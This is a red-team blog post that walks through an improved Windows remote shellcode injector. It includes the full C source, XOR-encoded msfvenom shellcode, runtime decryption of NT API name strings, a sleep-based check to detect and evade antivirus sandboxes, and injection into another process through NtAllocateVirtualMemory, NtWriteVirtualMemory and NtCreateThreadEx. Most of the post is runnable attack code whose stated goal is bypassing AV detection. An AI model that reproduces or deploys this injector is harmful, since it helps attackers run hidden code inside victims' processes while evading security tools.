cp

be better.

  • Home
All Posts Links About

cp

be better.

  • Home

Remote Shellcode Injection - 2

2021-10-07

Improving the injector from last post to hopefully bypass AV

Environment Setup

OS: Windows 10
Target: Running processes with the same integrity level

These are some tools that might be useful.

  • API Monitor: http://www.rohitab.com/apimonitor
  • Process Hacker: https://processhacker.sourceforge.io/

The previous injector is still pretty detectable by static analysis, so let’s make it more stealthy this time.

Methodology

  • Remove debugging symbols and statements
  • Remove strings that hint anything malicious
  • Generate shellcode exits gracefully without crashing program
  • XOR encrypt shellcode and decode during runtime
  • “Predict” if being executed by AV and change behaviour

As usual, coding in the C language because C++ is nasty.

Better shellcode

In the previous post we generated a shellcode with the following command.
msfvenom -p windows/x64/exec CMD=cmd.exe -f c
When this shellcode exits, it ends the entire program, which is pretty noisy.

We can change this by using the EXITFUNC flag.
msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread -f c
Now when the shellcode exits, it will only terminate the thread that we spawn, and the original program will still be running.

XOR encrypt and decrypt

Cleartext msf shellcode is always a giveaway. We can make it better by XOR encrypting it.

Encryptor/Decryptor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <Windows.h>

unsigned char * encrypt(unsigned char *, int, int);

unsigned char * encrypt(unsigned char * data, int dataLen, int xor_key)
{
unsigned char * output = (unsigned char *)malloc(sizeof(unsigned char) * dataLen+1);

for (int i = 0; i < dataLen; i++)
output[i] = data[i] ^ xor_key;

return output;
}

int main(void)
{
unsigned char clear[] =
// paste shellcode blob here
"";

size_t sc_len = sizeof(clear)-1; // auto sized char arrays are 1 byte larger by default
unsigned char * out = encrypt(clear, sc_len, 0x53); // key of 0x53
printf("\"");
for (int i = 0; i < sc_len; i++)
{
if ( !(i%22) && i!=0 )
printf("\"\n\"");
printf("\\x%02x", out[i]);
}
printf("\";");

return 0;
}

Comments are self explanatory. The encrypt function is essentially also the decrypt function because A=(A^B)^B

Main function just formats encrypted shellcode nicely so we can copy and paste, and we only need the encrypt function in our actual injector.

“Predict” AV execution

So apparently AVs will try to “speed up” your program if they detect a sleep in it, so it won’t spend too long analysing. We can abuse this by checking if our program was indeed “sped up”.

1
2
3
4
5
6
7
8
time_t cur = time(0);
Sleep(15000);
time_t aft = time(0);
if ((aft - cur) < 15)
{
puts("update failed");
exit(0);
}

Just a simple check that quits the program if it “predicts” an AV executing it. Delays execution by 15 seconds so some AV might even give up analysing it lol. Patience is key.

Remove strings and debug symbols

Running the command strings on our exe reveals strings such as “NtCreateThreadEx”, which may lead to AV detection.

We can remove these strings by again XOR encrypting them and decrypting during runtime.

For example:

1
2
3
4
unsigned char * ntdll = decrypt("\x3d\x27\x37\x3f\x3f\x7d\x37\x3f\x3f\x53", 10, 0x53);
unsigned char * navm = decrypt("\x1d\x27\x12\x3f\x3f\x3c\x30\x32\x27\x36\x05\x3a\x21\x27\x26\x32\x3f\x1e\x36\x3e\x3c\x21\x2a\x53", 24, 0x53);
unsigned char * nwvm = decrypt("\x1d\x27\x04\x21\x3a\x27\x36\x05\x3a\x21\x27\x26\x32\x3f\x1e\x36\x3e\x3c\x21\x2a\x53", 21, 0x53);
unsigned char * ncte = decrypt("\x1d\x27\x10\x21\x36\x32\x27\x36\x07\x3b\x21\x36\x32\x37\x16\x2b\x53", 17, 0x53);

Repeat this process until all abnormal strings are removed.

To remove debug symbols, just run strip <program.exe>

Final

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#include <stdio.h>
#include <time.h>
#include <Windows.h>

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef struct _PS_ATTRIBUTE {
ULONG Attribute;
SIZE_T Size;
union {
ULONG Value;
PVOID ValuePtr;
} u1;
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, *PPS_ATTRIBUTE;

typedef struct _PS_ATTRIBUTE_LIST
{
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST;

typedef NTSTATUS(NTAPI* NAVM)(HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG);
typedef NTSTATUS(NTAPI* NWVM)(HANDLE, PVOID, PVOID, ULONG, PULONG);
typedef NTSTATUS(NTAPI* NCT)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T, SIZE_T, PPS_ATTRIBUTE_LIST);

unsigned char * decrypt(unsigned char *, int, int);

unsigned char * decrypt(unsigned char * data, int dataLen, int xor_key)
{
unsigned char * output = (unsigned char *)malloc(sizeof(unsigned char) * dataLen+1);

for (int i = 0; i < dataLen; i++)
output[i] = data[i] ^ xor_key;

return output;
}

int main(int argc, char * argv[])
{
time_t cur = time(0);
Sleep(15000);
time_t aft = time(0);
if ((aft - cur) < 15)
{
puts("update failed");
exit(0);
}

unsigned char * ntdll = decrypt("\x3d\x27\x37\x3f\x3f\x7d\x37\x3f\x3f\x53", 10, 0x53);
unsigned char * navm = decrypt("\x1d\x27\x12\x3f\x3f\x3c\x30\x32\x27\x36\x05\x3a\x21\x27\x26\x32\x3f\x1e\x36\x3e\x3c\x21\x2a\x53", 24, 0x53);
unsigned char * nwvm = decrypt("\x1d\x27\x04\x21\x3a\x27\x36\x05\x3a\x21\x27\x26\x32\x3f\x1e\x36\x3e\x3c\x21\x2a\x53", 21, 0x53);
unsigned char * ncte = decrypt("\x1d\x27\x10\x21\x36\x32\x27\x36\x07\x3b\x21\x36\x32\x37\x16\x2b\x53", 17, 0x53);

// { msfvenom -p windows/x64/exec CMD=cmd.exe EXITFUNC=thread -f c } payload encryped with XOR key 0x53
unsigned char encoded[] =
"\xaf\x1b\xd0\xb7\xa3\xbb\x93\x53\x53\x53\x12\x02\x12\x03\x01\x02\x05\x1b\x62\x81\x36\x1b"
"\xd8\x01\x33\x1b\xd8\x01\x4b\x1b\xd8\x01\x73\x1b\xd8\x21\x03\x1b\x5c\xe4\x19\x19\x1e\x62"
"\x9a\x1b\x62\x93\xff\x6f\x32\x2f\x51\x7f\x73\x12\x92\x9a\x5e\x12\x52\x92\xb1\xbe\x01\x12"
"\x02\x1b\xd8\x01\x73\xd8\x11\x6f\x1b\x52\x83\xd8\xd3\xdb\x53\x53\x53\x1b\xd6\x93\x27\x34"
"\x1b\x52\x83\x03\xd8\x1b\x4b\x17\xd8\x13\x73\x1a\x52\x83\xb0\x05\x1b\xac\x9a\x12\xd8\x67"
"\xdb\x1b\x52\x85\x1e\x62\x9a\x1b\x62\x93\xff\x12\x92\x9a\x5e\x12\x52\x92\x6b\xb3\x26\xa2"
"\x1f\x50\x1f\x77\x5b\x16\x6a\x82\x26\x8b\x0b\x17\xd8\x13\x77\x1a\x52\x83\x35\x12\xd8\x5f"
"\x1b\x17\xd8\x13\x4f\x1a\x52\x83\x12\xd8\x57\xdb\x1b\x52\x83\x12\x0b\x12\x0b\x0d\x0a\x09"
"\x12\x0b\x12\x0a\x12\x09\x1b\xd0\xbf\x73\x12\x01\xac\xb3\x0b\x12\x0a\x09\x1b\xd8\x41\xba"
"\x04\xac\xac\xac\x0e\x1b\xe9\x52\x53\x53\x53\x53\x53\x53\x53\x1b\xde\xde\x52\x52\x53\x53"
"\x12\xe9\x62\xd8\x3c\xd4\xac\x86\xe8\xb3\x4e\x79\x59\x12\xe9\xf5\xc6\xee\xce\xac\x86\x1b"
"\xd0\x97\x7b\x6f\x55\x2f\x59\xd3\xa8\xb3\x26\x56\xe8\x14\x40\x21\x3c\x39\x53\x0a\x12\xda"
"\x89\xac\x86\x30\x3e\x37\x7d\x36\x2b\x36\x53";

const unsigned int XOR_KEY = 0x53;
size_t sc_len = sizeof(encoded)-1; //auto type char array will +1 by default
unsigned char * shellcode = decrypt(encoded, sc_len, XOR_KEY);
int newPid = atoi(argv[1]);

HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, (DWORD)newPid);
HANDLE tHandle;
HINSTANCE hNtdll = LoadLibraryA(ntdll);

NAVM NtAllocateVirtualMemory = (NAVM)GetProcAddress(hNtdll, navm);
NWVM NtWriteVirtualMemory = (NWVM)GetProcAddress(hNtdll, nwvm);
NCT NtCreateThreadEx = (NCT)GetProcAddress(hNtdll, ncte);
void * allocAddr = NULL;
SIZE_T allocSize = sc_len;
NTSTATUS status;
status = NtAllocateVirtualMemory(pHandle, &allocAddr, 0, (PULONG)&allocSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
status = NtWriteVirtualMemory(pHandle, allocAddr, shellcode, sc_len, NULL);
status = NtCreateThreadEx(&tHandle, GENERIC_EXECUTE, NULL, pHandle, allocAddr, NULL, 0, 0, 0, 0, NULL);
return 0;
}

Let’s use antiscan.me to check detection rate.

Before:

After:

Pretty neat!

Conclusion

Still a pretty rudimentary bypass as we didn’t take into account hooks and AMSI and all the improved monitoring tools out there.

AV manufacturers and hackers have played years of cats and mice, and there are lots to learn :)

  • windows
  • redteam
  • injection

扫一扫,分享到微信

微信分享二维码
Best Hash Cracking Website
Remote Shellcode Injection - 1
© 2025 cp
Hexo Theme Yilia by Litten
  • All Posts
  • Links
  • About

tag:

  • pwn
  • windows
  • kernel
  • promotion
  • ctf
  • heap
  • cve
  • pkexec
  • fuzzing
  • reads
  • web
  • prototype pollution
  • HTB
  • browser
  • v8
  • redteam
  • activedirectory
  • prompteng
  • injection
  • shellcoding
  • sudo
  • symex

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录(注意不是yilia根目录)执行以下命令:
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置:

      jsonContent:
        meta: false
        pages: false
        posts:
          title: true
          date: true
          path: true
          text: false
          raw: false
          content: false
          slug: false
          updated: false
          comments: false
          link: false
          permalink: false
          excerpt: false
          categories: false
          tags: true
    

  • 晨晨
  • sh4wn
赐我孩童般的好奇